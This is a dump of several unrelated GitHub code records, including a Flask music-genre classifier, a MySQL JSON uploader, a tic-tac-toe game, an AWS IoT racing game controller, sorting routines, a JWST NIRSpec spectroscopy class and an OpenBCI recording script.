torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed) # if you are using multi-GPU.\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n\ndef get_GenericMILdataset(\n taskname: str,\n label_csv_path: Path,\n data_root_dir: Path,\n label_dict: Dict,\n seed: int = 1,\n ):\n if taskname == 'tumor_vs_normal':\n dataset = Generic_MIL_Dataset(\n csv_path = label_csv_path,\n data_dir= data_root_dir / 'tumor_vs_normal_resnet_features',\n shuffle = False, \n seed = seed, \n print_info = True,\n label_dict = label_dict,\n patient_strat=False,\n ignore=[]\n )\n\n elif taskname == 'tumor_subtyping':\n dataset = Generic_MIL_Dataset(\n csv_path = 'dataset_csv/tumor_subtyping_dummy_clean.csv',\n data_dir= data_root_dir / 'tumor_subtyping_resnet_features',\n shuffle = False, \n seed = seed, \n print_info = True,\n label_dict = label_dict,\n patient_strat= False,\n ignore=[]\n ) \n else:\n raise NotImplementedError\n \n return dataset","repo_name":"jsakaguc/clam_py10","sub_path":"utils/main_utils.py","file_name":"main_utils.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71503609425","text":"\"\"\"\nConfiguration for tests: queries, expected returns, username and password\n\"\"\"\n\nfrom tests import QueryConfig\n\ntest_username = \"demo\" # Use None to use current logged-in user\ntest_password = \"demo\" # Use None to use stored value in the keyring\ntest_editor = \"hive\" # Type of editor for tests. Use None for impala\ntest_server = \"https://demo.gethue.com/\" # Use None to use the one stored in the keyring\n\ntable_name = \"default.ong_hive_test_csv\"\n\nsample_queries = {\n \"simple_query_df\":\n QueryConfig(query=f\"SELECT * FROM {table_name}\",\n expected_size=1588),\n \"simple_query\":\n QueryConfig(query=f\"SELECT * FROM {table_name}\",\n expected_size=1588, format=\"csv\"),\n \"simple_query_pandas\":\n QueryConfig(query=f\"SELECT * FROM {table_name}\",\n expected_size=1588, format=\"pandas\"),\n \"bad_query\":\n QueryConfig(query=f\"SELECT * FROM non_existing_table\",\n expected_size=-1), # Negative size: file is expected not to have been created\n \"simple_query_params\":\n QueryConfig(\n query=f\"SELECT * FROM {table_name} where number= ${{number}}\",\n expected_size=88, variables=dict(number=25)),\n \"sample_file_downloads\": [\n QueryConfig(query=\"s3a://demo-gethue/data/web_logs/index_data.csv\",\n expected_size=6199593, expected_filename=\"index_data.csv\"),\n ]\n}\n\nsample_hdfs_path = \"s3a://demo-gethue/data/web_logs\"\n\n","repo_name":"Oneirag/ong_hue_api","sub_path":"tests/config_test.py","file_name":"config_test.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70938574545","text":"import random\nimport os\nfrom flask import Flask, request, jsonify, render_template, url_for, flash, redirect\nfrom Music_classification_service import Music_Classification_Service\n#import numpy as np\nimport youtube_to_wav\n\n# instantiate flask app\napp = Flask(__name__)\nmcs = Music_Classification_Service()\n\n\n@app.route(\"/index\")\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route(\"/predict\", methods=[\"POST\"])\ndef predict():\n # get file from POST request and save it\n # audio_file = request.files[\"file\"]\n # file_name = str(random.randint(0, 100000))\n # audio_file.save(file_name)\n\n video = request.form[\"video\"]\n if video == '':\n flash('No selected file')\n return redirect(request.url)\n else:\n result = []\n vidName = youtube_to_wav.youtube_to_wav(video)\n genre = mcs.predict(vidName)\n os.remove(vidName)\n for i in range(len(genre)):\n result.append((mcs._mapping[i], float(\"{:.4f}\".format(genre[i]))))\n return render_template(\"predict.html\", result=result, name=vidName)\n\n","repo_name":"aymenbahaoui/music_genre_classification","sub_path":"flask_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12423645047","text":"import sys\n\n# sys.stdin = open(\"input.txt\", \"r\")\ninput = sys.stdin.readline\n\nn, m = map(int, input().split(\" \"))\ntable = [[0 for j in range(n + 1)] for i in range(n + 1)]\nsumTable = [[0 for j in range(n + 1)] for i in range(n + 1)]\n\nfor i in range(1, n + 1):\n tmp = list(map(int, input().split(\" \")))\n for j in range(1, n + 1):\n table[i][j] = tmp[j - 1]\n sumTable[i][j] = (\n sumTable[i - 1][j]\n + sumTable[i][j - 1]\n - sumTable[i - 1][j - 1]\n + table[i][j]\n )\n\nfor t in range(m):\n y1, x1, y2, x2 = map(int, input().split(\" \"))\n ans = (\n sumTable[y2][x2]\n - sumTable[y2][x1 - 1]\n - sumTable[y1 - 1][x2]\n + sumTable[y1 - 1][x1 - 1]\n )\n print(ans)\n","repo_name":"raonsol/ps","sub_path":"boj/class4/11660_sum.py","file_name":"11660_sum.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42673327267","text":"import mysql.connector\r\nfrom json import load\r\nfrom os.path import join, dirname\r\n\r\nclass tables: #class containing all table related functions\r\n def create_tables(cursor): \r\n cursor.execute('CREATE TABLE Products (Serial_Number int NOT NULL, Product_Title varchar(1000) NOT NULL, Product_Image_URL varchar(1000) NULL, Product_Price varchar(45) NOT NULL, PRIMARY KEY (Serial_Number))')\r\n \r\n def update_table1(cursor, conn):\r\n insert_stmt =\"INSERT INTO Products (Serial_Number, Product_Title, Product_Image_URL, Product_Price) VALUES (%s, %s, %s, %s)\" # Preparing SQL query to INSERT a record into the database.\r\n data_1 = load(open(join(dirname(__file__), 'new.json'), \"r\", encoding='utf-8')) #loading the required json file into a dictionary\r\n \r\n for serial_num in data_1:\r\n \r\n try:\r\n cursor.execute(insert_stmt, (int(serial_num)+1, data_1.get(serial_num).get('Title'), data_1.get(serial_num).get('Image URL'), data_1.get(serial_num).get('Price'))) # Executing the SQL command \r\n conn.commit() # Commit your changes in the database\r\n print(\"Data inserted\")\r\n except:\r\n conn.rollback() # Rolling back in case of error \r\n \r\n\r\n \r\ndef mysql_upload():\r\n #establishing the connection\r\n \r\n conn=mysql.connector.connect(user='Saransh', password='sqltesting_123', host='127.0.0.1', database='mydb_relu')\r\n\r\n cursor = conn.cursor() #Creating a cursor object using the cursor() method\r\n \r\n tables.create_tables(cursor) #Creating the required table\r\n tables.update_table1(cursor, conn)\r\n conn.close() # Closing the connection \r\n\r\n\r\n\r\n","repo_name":"Saransh-Tiwari-2002/relu-test","sub_path":"mysql_upload.py","file_name":"mysql_upload.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35236149840","text":"def sum(a, b, c ):\r\n return a + b + c\r\n\r\ndef map(xState,oState):\r\n zero = 'X'if xState[0] else('O' if oState[0] else 0)\r\n one = 'X'if xState[1] else('O' if oState[1] else 1)\r\n two = 'X'if xState[2] else('O' if oState[2] else 2)\r\n three = 'X'if xState[3] else('O' if oState[3] else 3)\r\n four = 'X'if xState[4] else('O' if oState[4] else 4)\r\n five = 'X'if xState[5] else('O' if oState[5] else 5)\r\n six = 'X'if xState[6] else('O' if oState[6] else 6)\r\n seven = 'X'if xState[7] else('O' if oState[7] else 7)\r\n eight = 'X'if xState[8] else('O' if oState[8] else 8)\r\n\r\n print(f' {zero} | {one} | {two}')\r\n print('---+---+---')\r\n print(f' {three} | {four} | {five}')\r\n print('---+---+---')\r\n print(f' {six} | {seven} | {eight}')\r\n\r\ndef checkWin(xState,oState):\r\n wins = [[0, 1, 2], [3, 4, 5], [6, 7, 8], [0, 3, 6], [1, 4, 7], [2, 5, 8], [0, 4, 8], [2, 4, 6]]\r\n for win in wins :\r\n if(sum(xState[win[0]],xState[win[1]],xState[win[2]]) == 3):\r\n print('Player X is the winner')\r\n return 1\r\n if(sum(oState[win[0]], oState[win[1]], oState[win[2]]) == 3):\r\n print(\"O Won the match\")\r\n return 0\r\n if((oState[0] == 1 or xState[0] == 1)and(oState[1] == 1 or xState[1] == 1)and(oState[2] == 1 or xState[2] == 1)and(oState[3] == 1 or xState[3] == 1)and(oState[4] == 1 or xState[4] == 1)and(oState[5] == 1 or xState[5] == 1)and(oState[6] == 1 or xState[6] == 1)and(oState[7] == 1 or xState[7] == 1)and(oState[8] == 1 or xState[8] == 1)):\r\n print(\"It's a draw\")\r\n return 2\r\n return -1\r\n\r\n\r\nif __name__ == '__main__':\r\n xState = [0,0,0,0,0,0,0,0,0]\r\n oState = [0,0,0,0,0,0,0,0,0]\r\n turn = 1 # 1 for X and 0 for O\r\n\r\n print(\"Welcome to Tic Tac Toe\")\r\n while(True):\r\n map(xState,oState)\r\n if(turn == 1):\r\n print('Chance of Player X')\r\n value = int(input(\"Please input a value: \"))\r\n xState[value] = 1\r\n else:\r\n print('Chance of Player O')\r\n value = int(input(\"Please input a value: \"))\r\n oState[value] = 1\r\n\r\n cw = checkWin(xState,oState)\r\n if(cw!=-1):\r\n print(\"Match Over\")\r\n break\r\n \r\n turn = 1 - turn\r\n","repo_name":"Mitalikodkani/Tic-Tac-Toe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21456358450","text":"from boto.exception import JSONResponseError\nimport json\nimport requests\n\nclass GameController:\n \"\"\"\n This GameController hits the API Gateway to get game status json and stashed that json to be used to draw the board\n \"\"\"\n\n def __init__(self):\n self.gameIdStr = \"\"\n self.round = \"\"\n self.it = \"\"\n self.playerState = [\"\",\"\",\"\",\"\"]\n self.score = [\"\",\"\",\"\",\"\"]\n self.vehicles = [0, 1, 2, 3]\n self.vehicleIdStr = ['white', 'red', 'blue', 'black']\n\n\n def getRound(self):\n return int(float(self.round))\n\n def getIt(self):\n return self.it\n\n def getGameId(self):\n return self.gameIdStr\n\n def getScore(self, vehicleIdx):\n return int(float(self.score[vehicleIdx]))\n\n def getGameStatus(self):\n \"\"\"\n Calls API Gateway to get JSON representation of game status. All vehicles' x, y, facing, and score, and it\n status, as well as the game ID and found\n \"\"\"\n\n api_url_base = ' https://game-api.iotracer.ninja/game/status'\n headers = {'Content-Type': 'application/json'}\n\n try:\n response = requests.get(api_url_base, headers=headers)\n\n if response.status_code == 200:\n response_str = json.loads(response.content.decode('utf-8'))\n if response_str is not None:\n self.gameIdStr = response_str['gameid']\n self.round = response_str['round']\n for vehicleIdx in self.vehicles:\n\n player_x = str(int(response_str['Scores'][vehicleIdx][self.vehicleIdStr[vehicleIdx]]['x']))\n player_y = str(int(response_str['Scores'][vehicleIdx][self.vehicleIdStr[vehicleIdx]]['y']))\n player_facing = response_str['Scores'][vehicleIdx][self.vehicleIdStr[vehicleIdx]]['facing']\n player_it = str(response_str['Scores'][vehicleIdx][self.vehicleIdStr[vehicleIdx]]['it'])\n player_score = str(response_str['Scores'][vehicleIdx][self.vehicleIdStr[vehicleIdx]]['score'])\n self.score[vehicleIdx] = player_score\n player_data = {}\n player_data['x'] = player_x\n player_data['y'] = player_y\n player_data['facing'] = player_facing\n player_data['it'] = player_it\n player_data['score'] = player_score\n self.playerState[vehicleIdx] = json.dumps(player_data)\n else:\n print('[!] Request Failed')\n\n else:\n return None\n\n except JSONResponseError as jre:\n return None\n except IOError as ioe:\n \"\"\"\n eat any io errors\n \"\"\"\n return None\n\n return None\n\n def getVehicle(self, color):\n \"\"\"\n Gets the representation of the named (color) vehicle that was retrieved from the above API call\n \"\"\"\n idx = 0\n\n for colors in self.vehicleIdStr:\n if (color == self.vehicleIdStr[idx]):\n return self.playerState[idx]\n else:\n idx = idx +1\n\n\n def getImgNameIt(self, facing):\n \"\"\"\n Gets the name of the vehicle icon if it is 'it'\n \"\"\"\n return {\n 'E': '_east_it.png',\n 'W': '_west_it.png',\n 'N': '_north_it.png',\n 'S': '_south_it.png'\n } [facing]\n\n def getImgNameNoIt(self, facing):\n \"\"\"\n Gets the name of the vehicle icon if it is not 'it'\n \"\"\"\n\n return {\n 'E': '_east.png',\n 'W': '_west.png',\n 'N': '_north.png',\n 'S': '_south.png'\n }[facing]\n\n def getBoardState(self, blackVehicleState, blueVehicleState, whiteVehicleState, redVehicleState):\n \"\"\"\n Puts the state of the board into a list, putting a blank space for\n spaces that are not occupied.\n \"\"\"\n\n strVals = [\"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\"]\n\n # got my x's and y's mixed up on horizontal & vertical - sorry gang\n blackVehicleState_x = blackVehicleState['y']\n blackVehicleState_y = blackVehicleState['x']\n blackVehicleDir = blackVehicleState['facing']\n blackVehicleIt = blackVehicleState['it']\n blueVehicleState_x = blueVehicleState['y']\n blueVehicleState_y = blueVehicleState['x']\n blueVehicleDir = blueVehicleState['facing']\n blueVehicleIt = blueVehicleState['it']\n whiteVehicleState_x = whiteVehicleState['y']\n whiteVehicleState_y = whiteVehicleState['x']\n whiteVehicleDir = whiteVehicleState['facing']\n whiteVehicleIt = whiteVehicleState['it']\n redVehicleState_x = redVehicleState['y']\n redVehicleState_y = redVehicleState['x']\n redVehicleDir = redVehicleState['facing']\n redVehicleIt = redVehicleState['it']\n\n blackVehicleSquareName = strVals[int(blackVehicleState_x)]+strVals[int(blackVehicleState_y)]\n blueVehicleSquareName = strVals[int(blueVehicleState_x)] + strVals[int(blueVehicleState_y)]\n whiteVehicleSquareName = strVals[int(whiteVehicleState_x)] + strVals[int(whiteVehicleState_y)]\n redVehicleSquareName = strVals[int(redVehicleState_x)] + strVals[int(redVehicleState_y)]\n\n squares = [\"OneOne\", \"OneTwo\", \"OneThree\", \"OneFour\", \"OneFive\", \"OneSix\", \\\n \"TwoOne\", \"TwoTwo\", \"TwoThree\", \"TwoFour\", \"TwoFive\", \"TwoSix\", \\\n \"ThreeOne\", \"ThreeTwo\", \"ThreeThree\", \"ThreeFour\", \"ThreeFive\", \"ThreeSix\", \\\n \"FourOne\", \"FourTwo\", \"FourThree\", \"FourFour\", \"FourFive\", \"FourSix\", \\\n \"FiveOne\", \"FiveTwo\", \"FiveThree\", \"FiveFour\", \"FiveFive\", \"FiveSix\", \\\n \"SixOne\", \"SixTwo\", \"SixThree\", \"SixFour\", \"SixFive\", \"SixSix\",]\n state = []\n\n for square in squares:\n if square == blackVehicleSquareName:\n if blackVehicleIt == 'True':\n imgName = self.getImgNameIt(blackVehicleDir)\n self.it = \"Black\"\n else:\n imgName = self.getImgNameNoIt(blackVehicleDir)\n state.append('')\n else:\n if square == blueVehicleSquareName:\n if blueVehicleIt == 'True':\n imgName = self.getImgNameIt(blueVehicleDir)\n self.it = \"Blue\"\n else:\n imgName = self.getImgNameNoIt(blueVehicleDir)\n state.append('')\n else:\n if square == whiteVehicleSquareName:\n if whiteVehicleIt == 'True':\n self.it = \"White\"\n imgName = self.getImgNameIt(whiteVehicleDir)\n else:\n imgName = self.getImgNameNoIt(whiteVehicleDir)\n state.append('')\n else:\n if square == redVehicleSquareName:\n if redVehicleIt == 'True':\n self.it = \"Red\"\n imgName = self.getImgNameIt(redVehicleDir)\n else:\n imgName = self.getImgNameNoIt(redVehicleDir)\n state.append('')\n else:\n state.append(\" \")\n\n return state\n","repo_name":"aws-samples/aws-builders-fair-projects","sub_path":"reinvent-2019/iot-racing-ninja/IoT_Web/dynamodb/gameController.py","file_name":"gameController.py","file_ext":"py","file_size_in_byte":7828,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"48"} +{"seq_id":"23739993686","text":"import cv2\nimport imageio\nimport numpy as np\nimport os\nimport torch\n\ndef list_dir(dir, postfix=None, full_path=False):\n if full_path:\n if postfix is None:\n names = sorted([name for name in os.listdir(dir) if not name.startswith('.')])\n return sorted([os.path.join(dir, name) for name in names])\n else:\n names = sorted([name for name in os.listdir(dir) if (not name.startswith('.') and name.endswith(postfix))])\n return sorted([os.path.join(dir, name) for name in names])\n else:\n if postfix is None:\n return sorted([name for name in os.listdir(dir) if not name.startswith('.')])\n else:\n return sorted([name for name in os.listdir(dir) if (not name.startswith('.') and name.endswith(postfix))])\n\ndef open_images_uint8(image_files):\n image_list = []\n for image_file in image_files:\n image = imageio.imread(image_file).astype(np.uint8)\n if len(image.shape) == 3:\n image = np.transpose(image, (2, 0, 1))\n image_list.append(image)\n seq = np.stack(image_list, axis=0)\n return seq\n\ndef log(log_file, str, also_print=True):\n with open(log_file, 'a+') as F:\n F.write(str)\n if also_print:\n print(str, end='')\n\n# return pytorch image in shape 1x3xHxW\ndef image2tensor(image_file):\n image = imageio.imread(image_file).astype(np.float32) / np.float32(255.0)\n if len(image.shape) == 3:\n image = np.transpose(image, (2, 0, 1))\n elif len(image.shape) == 2:\n image = np.expand_dims(image, 0)\n image = np.asarray(image, dtype=np.float32)\n image = torch.from_numpy(image).unsqueeze(0)\n return image\n\n# save numpy image in shape 3xHxW\ndef np2image(image, image_file):\n image = np.transpose(image, (1, 2, 0))\n image = np.clip(image, 0., 1.)\n image = image * 255.\n image = image.astype(np.uint8)\n imageio.imwrite(image_file, image)\n\ndef np2image_bgr(image, image_file):\n image = np.transpose(image, (1, 2, 0))\n image = np.clip(image, 0., 1.)\n image = image * 255.\n image = image.astype(np.uint8)\n cv2.imwrite(image_file, image)\n\n# save tensor image in shape 1x3xHxW\ndef tensor2image(image, image_file):\n image = image.detach().cpu().squeeze(0).numpy()\n np2image(image, image_file)\n\n","repo_name":"nagejacob/FloRNN","sub_path":"utils/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"48"} +{"seq_id":"74287321106","text":"def bubble_sort(nums) -> list:\r\n swapped = True\r\n j = 0\r\n while swapped:\r\n swapped = False\r\n for i in range(len(nums) - 1 - j):\r\n if nums[i] > nums[i + 1]:\r\n nums[i], nums[i + 1] = nums[i + 1], nums[i]\r\n swapped = True\r\n j += 1\r\n\r\n\r\ndef sort_choice(nums) -> list:\r\n i = 0\r\n while i < len(nums) - 1:\r\n m = i\r\n j = i + 1\r\n while j < len(nums):\r\n if nums[j] < nums[m]:\r\n m = j\r\n j += 1\r\n nums[i], nums[m] = nums[m], nums[i]\r\n i += 1\r\n\r\n\r\ndef quick_sort(nums):\r\n\r\n def partition(nums, low, high):\r\n pivot = nums[(low + high) // 2]\r\n i = low - 1\r\n j = high + 1\r\n while True:\r\n i += 1\r\n while nums[i] < pivot:\r\n i += 1\r\n\r\n j -= 1\r\n while nums[j] > pivot:\r\n j -= 1\r\n\r\n if i >= j:\r\n return j\r\n nums[i], nums[j] = nums[j], nums[i]\r\n\r\n def _quick_sort(items, low, high):\r\n if low < high:\r\n split_index = partition(items, low, high)\r\n _quick_sort(items, low, split_index)\r\n _quick_sort(items, split_index + 1, high)\r\n\r\n _quick_sort(nums, 0, len(nums) - 1)\r\n\r\n\r\n# Напишите функцию для заполнения списка случайными числами\r\ndef gen_list(size, at=-100, to=100):\r\n import random\r\n \"\"\"\r\n :param size: кол-во элементов списка\r\n :param at: минимально возможное значение элементов\r\n :param to: максимально возможное значение элементов\r\n :return: список из size произвольных элементов в диапазоне at..to \r\n \"\"\"\r\n res = []\r\n for _ in range(size):\r\n res.append(random.randint(at, to))\r\n return res\r\n\r\n\r\nmy_list = gen_list(15)\r\nprint(*my_list)\r\n\r\nb_list = my_list[:]\r\nbubble_sort(b_list)\r\nprint(f'Bubble sort: {b_list}')\r\n\r\nc_list = my_list[:]\r\nsort_choice(c_list)\r\nprint(f'Sort choice: {c_list}')\r\n\r\nq_list = my_list[:]\r\nquick_sort(q_list)\r\nprint(f'Quick sort: {q_list}')\r\n","repo_name":"AnnaZhuravleva/Specialist_Python_2","sub_path":"Module 5/02_base_sort.py","file_name":"02_base_sort.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34057953977","text":"from matplotlib.pyplot import axis\nimport matplotlib.pyplot as plt\nfrom breads.instruments.instrument import Instrument\nimport breads.utils as utils\nfrom warnings import warn\nimport astropy.io.fits as pyfits\nimport numpy as np\nimport ctypes\nfrom astropy.coordinates import SkyCoord, EarthLocation\nimport astropy.units as u\nfrom astropy.time import Time\nfrom copy import copy\nfrom breads.utils import broaden\nfrom breads.utils import get_spline_model,_task_findbadpix\nimport multiprocessing as mp\nfrom itertools import repeat\nimport pandas as pd\nimport astropy\nimport os\n\n#NIRSPEC Wavelengths\ndef get_wavelen_values(header, wavelen_axis=3):\n \"\"\"Get array of wavelength values in microns, via WCS.\n Works on JWST NIRSpec cubes but should be general across other instruments too\n Returns wavelengths in microns\n \"\"\"\n wcs = astropy.wcs.WCS(header)\n pix_coords = np.zeros((header[f'NAXIS{wavelen_axis}'], 3))\n pix_coords[:, 2] = np.arange(header[f'NAXIS{wavelen_axis}'])\n wavelens = wcs.wcs_pix2world(pix_coords,0)[:, 2]*1e6\n return wavelens\n\nclass JWSTNirspecslit(Instrument):\n def __init__(self, filename=None,data_type=\"DRP\"):\n super().__init__('jwstnirspec')\n if filename is None:\n warning_text = \"No data file provided. \" + \\\n \"Please manually add data or use JWSTNirspec.read_data_file()\"\n warn(warning_text)\n else:\n self.read_data_file(filename,data_type=data_type)\n\n def read_data_file(self, filename,data_type=\"DRP\"):\n \"\"\"\n Read OSIRIS spectral cube, also checks validity at the end\n \"\"\"\n\n if data_type == \"DRP\":\n data = pyfits.getdata(filename)\n priheader = pyfits.getheader(filename, 0)\n wavelength = data['wavelength']\n flux = data['flux']\n error = data['FLUX_ERROR']\n badpix = data[\"DQ\"]\n wherebad = np.where((badpix % 2) == 1)\n badpix = badpix.astype(np.float)\n badpix[wherebad] = np.nan\n badpix[0:30] = np.nan\n badpix[3240::] = np.nan\n\n crop4um = np.argmin(np.abs(wavelength-4.0))\n\n self.wavelengths = wavelength[crop4um::]\n self.data = flux[crop4um::]\n self.noise = error[crop4um::]\n self.bad_pixels = badpix[crop4um::]\n elif data_type == \"ETC\":\n noise_filename = os.path.join(filename,\"lineplot\",\"lineplot_extracted_noise.fits\")\n hdulist = pyfits.open(noise_filename)\n data = hdulist[1].data\n self.noise = np.array([fl for wv, fl in data])#*300\n flux_filename = os.path.join(filename,\"lineplot\",\"lineplot_extracted_flux.fits\")\n hdulist = pyfits.open(flux_filename)\n data = hdulist[1].data\n self.wavelengths = np.array([wv for wv, fl in data])\n self.data = np.array([fl for wv, fl in data]) + self.noise*np.random.randn(np.size(self.noise))\n self.bad_pixels = np.ones(self.data.shape)\n priheader = hdulist[0].header\n self.bad_pixels[0:5] = np.nan\n self.bad_pixels[3000::] = np.nan\n\n\n self.bary_RV = 0\n self.R = 2700\n\n self.priheader = priheader\n\n self.valid_data_check()\n\n def trim_data(self, trim):\n if trim <= 0:\n return\n nz, nx, ny = self.data.shape\n self.bad_pixels[:trim] = np.nan\n self.bad_pixels[nz-trim:] = np.nan\n\n\n def remove_bad_pixels(self, chunks=20, mypool=None, med_spec=None, nan_mask_boxsize=3, w=5, \\\n num_threads = 16, wid_mov=None,threshold=3):\n\n nz = np.size(self.data)\n\n x = np.arange(nz)\n x_knots = x[np.linspace(0,nz-1,chunks+1,endpoint=True).astype(np.int)]\n M_spline = get_spline_model(x_knots,x,spline_degree=3)\n\n out_data,out_badpix,out_res = _task_findbadpix((self.data[:,None],self.noise[:,None],self.bad_pixels[:,None],med_spec,M_spline,threshold))\n out_data,out_badpix,out_res = out_data[:,0],out_badpix[:,0],out_res[:,0]\n\n continuum = set_continnuum((out_data,50))\n wherebad = np.where(np.isnan(out_badpix))\n self.data[wherebad] = continuum[wherebad]\n self.bad_pixels = out_badpix\n\n # plt.plot(out_data/np.nanmax(out_data))\n # plt.plot(out_res/np.nanmax(out_data))\n # plt.plot(out_badpix)\n # plt.show()\n\n return out_res\n\n def crop_image(self, x_range, y_range):\n self.data = self.data[:, x_range[0]:x_range[1], y_range[0]:y_range[1]]\n self.wavelengths = self.wavelengths[:, x_range[0]:x_range[1], y_range[0]:y_range[1]]\n self.noise = self.noise[:, x_range[0]:x_range[1], y_range[0]:y_range[1]]\n self.bad_pixels = self.data[:, x_range[0]:x_range[1], y_range[0]:y_range[1]]\n\n def broaden(self, wvs,spectrum, loc=None,mppool=None):\n \"\"\"\n Broaden a spectrum to the resolution of this data object using the resolution attribute (self.R).\n LSF is assumed to be a 1D gaussian.\n The broadening is technically fiber dependent so you need to specify which fiber calibration to use.\n\n Args:\n wvs: Wavelength sampling of the spectrum to be broadened.\n spectrum: 1D spectrum to be broadened.\n loc: To be ignored. Could be used in the future to specify (x,y) position if field dependent resolution is\n available.\n mypool: Multiprocessing pool to parallelize the code. If None (default), non parallelization is applied.\n E.g. mppool = mp.Pool(processes=10) # 10 is the number processes\n\n Return:\n Broadened spectrum\n \"\"\"\n return broaden(wvs, spectrum, self.R, mppool=mppool)\n\n def set_noise(self, method=\"sqrt_cont\", num_threads = 16, wid_mov=None):\n nz, ny, nx = self.data.shape\n my_pool = mp.Pool(processes=num_threads)\n if wid_mov is None:\n wid_mov = nz // 10\n args = []\n for i in range(ny):\n for j in range(nx):\n args += [self.data[:, i, j]]\n output = my_pool.map(set_continnuum, zip(args, repeat(wid_mov)))\n self.continuum = np.zeros((nz, ny, nx))\n for i in range(ny):\n for j in range(nx):\n self.continuum[:, i, j] = output[(i*nx+j)]\n # self.continuum = np.reshape(self.continuum, (nz, ny, nx), order='F')\n if method == \"sqrt_cont\":\n self.noise = np.sqrt(np.abs(self.continuum))\n if method == \"cont\":\n self.noise = self.continuum\n\ndef set_continnuum(args):\n data, window = args\n tmp = np.array(pd.DataFrame(np.concatenate([data, data[::-1]], axis=0)).interpolate(method=\"linear\").fillna(method=\"bfill\").fillna(method=\"ffill\"))\n myvec_cp_lpf = np.array(pd.DataFrame(tmp).rolling(window=window, center=True).median().interpolate(method=\"linear\").fillna(method=\"bfill\").fillna(method=\"ffill\"))[0:np.size(data), 0]\n return myvec_cp_lpf\n","repo_name":"jruffio/breads","sub_path":"breads/instruments/jwstnirspecslit.py","file_name":"jwstnirspecslit.py","file_ext":"py","file_size_in_byte":6976,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"22203202066","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 7 11:11:20 2017\n@author: Peter Meisrimel\n\"\"\"\nfrom __future__ import division\nimport pylab as pl\nimport numpy as np\nfrom run_simulation import run_simulation\nimport dolfin as dol\n\n## Basic running for visualization of adjoint solution\n# \\n run_mode = 101\nclass run_adjoint(run_simulation):\n ## Basic initialization\n # @param self .\n # @param file_read parameters read from file\n # @return None\n def __init__(self, file_read):\n run_simulation.__init__(self, file_read)\n \n if file_read['problem_type'] in [12]: ## 2 D problem using FEniCs\n self.pvd = dol.File(file_read['saving_path'] + self.save_file_add + '.pvd')\n else:\n self.fig, self.ax = pl.subplots(figsize = (12, 10))\n self.leg = []\n self.save = 'adjoint_sol_' + self.save_file_add + '_t_' + str(file_read['problem_t_end'])\n \n self.ax.set_title('Adjoint solution', fontsize = self.fontsize + 2)\n self.ax.set_xlabel(r'$t$', fontsize = self.fontsize)\n self.ax.set_ylabel(r'$z$', rotation = 0, fontsize = self.fontsize, labelpad = 20)\n self.ax.tick_params(labelsize=20)\n \n ## main function for executing a run\n # @param self .\n # @param file_read parameters read from file\n # @return None\n def simulate(self, file_read):\n Time_integ, u0, z0 = self.init_parameters(file_read, tol = 0, DG = 1, DWR = 1)\n \n times, adj_sol = Time_integ.run_adj(u0, z0)\n \n if file_read['problem_type'] in [12]: ## 2 D problem using FEniCs\n sol = dol.Function(adj_sol[times[0]].function_space())\n for t in times:\n sol.assign(adj_sol[t])\n self.pvd << sol\n else:\n dim = len(adj_sol[0].vector().get_local())\n sol = np.zeros((dim, len(times)))\n \n for idx, t in enumerate(times):\n sol[:, idx] = adj_sol[t].vector().get_local()\n \n for i in range(dim):\n self.ax.plot(times, sol[i, :], marker = None, c = next(self.colors), label = file_read['legend'])\n self.leg.append(r'$u_{}$'.format(i))\n \n ## General function for priting plots\n # @param self .\n # @param file_read parameters read from file\n # @param dpi dpi value for image saving\n # @return None\n def print_plot(self, file_read, dpi = 100):\n if file_read['problem_type'] not in [12]: ## 2 D problem using FEniCs\n self.ax.legend(loc = 0, fontsize = self.fontsize - 4)\n self.fig.savefig(file_read['saving_path'] + self.save + self.save_format, dpi = dpi)","repo_name":"PeterMeisrimel/goal_oriented","sub_path":"run_adjoint.py","file_name":"run_adjoint.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"37485307121","text":"\nimport cv2\nimport time\nimport numpy as np\nfrom collections import deque\nfrom pyOpenBCI import OpenBCIGanglion\n\nnum_of_samples = 3000\nlast_print = time.time()\nfps_counter = deque(maxlen=50)\nsequence = np.zeros((num_of_samples, 4)) # 100 - num of samples\ncounter = 0\n\ndef print_raw(sample):\n\tglobal last_print\n\tglobal sequence\n\tglobal counter\n\t\n\tsequence = np.roll(sequence, 1, 0)\n\tsequence[0, ...] = sample.channels_data\n\n\tfps_counter.append(time.time() - last_print)\n\tlast_print = time.time()\n\tprint(f'FPS: {1/(sum(fps_counter)/len(fps_counter)):.2f}, {len(sequence)}, ... {counter}')\n\t\n\tcounter += 1\n\tif counter == num_of_samples:\n\t\tnp.save(f\"./data/sa/hear_sesnse_seq-3000_1.npy\", sequence)\n\t\tprint('file saved!')\n\t\texit(0)\n\nboard = 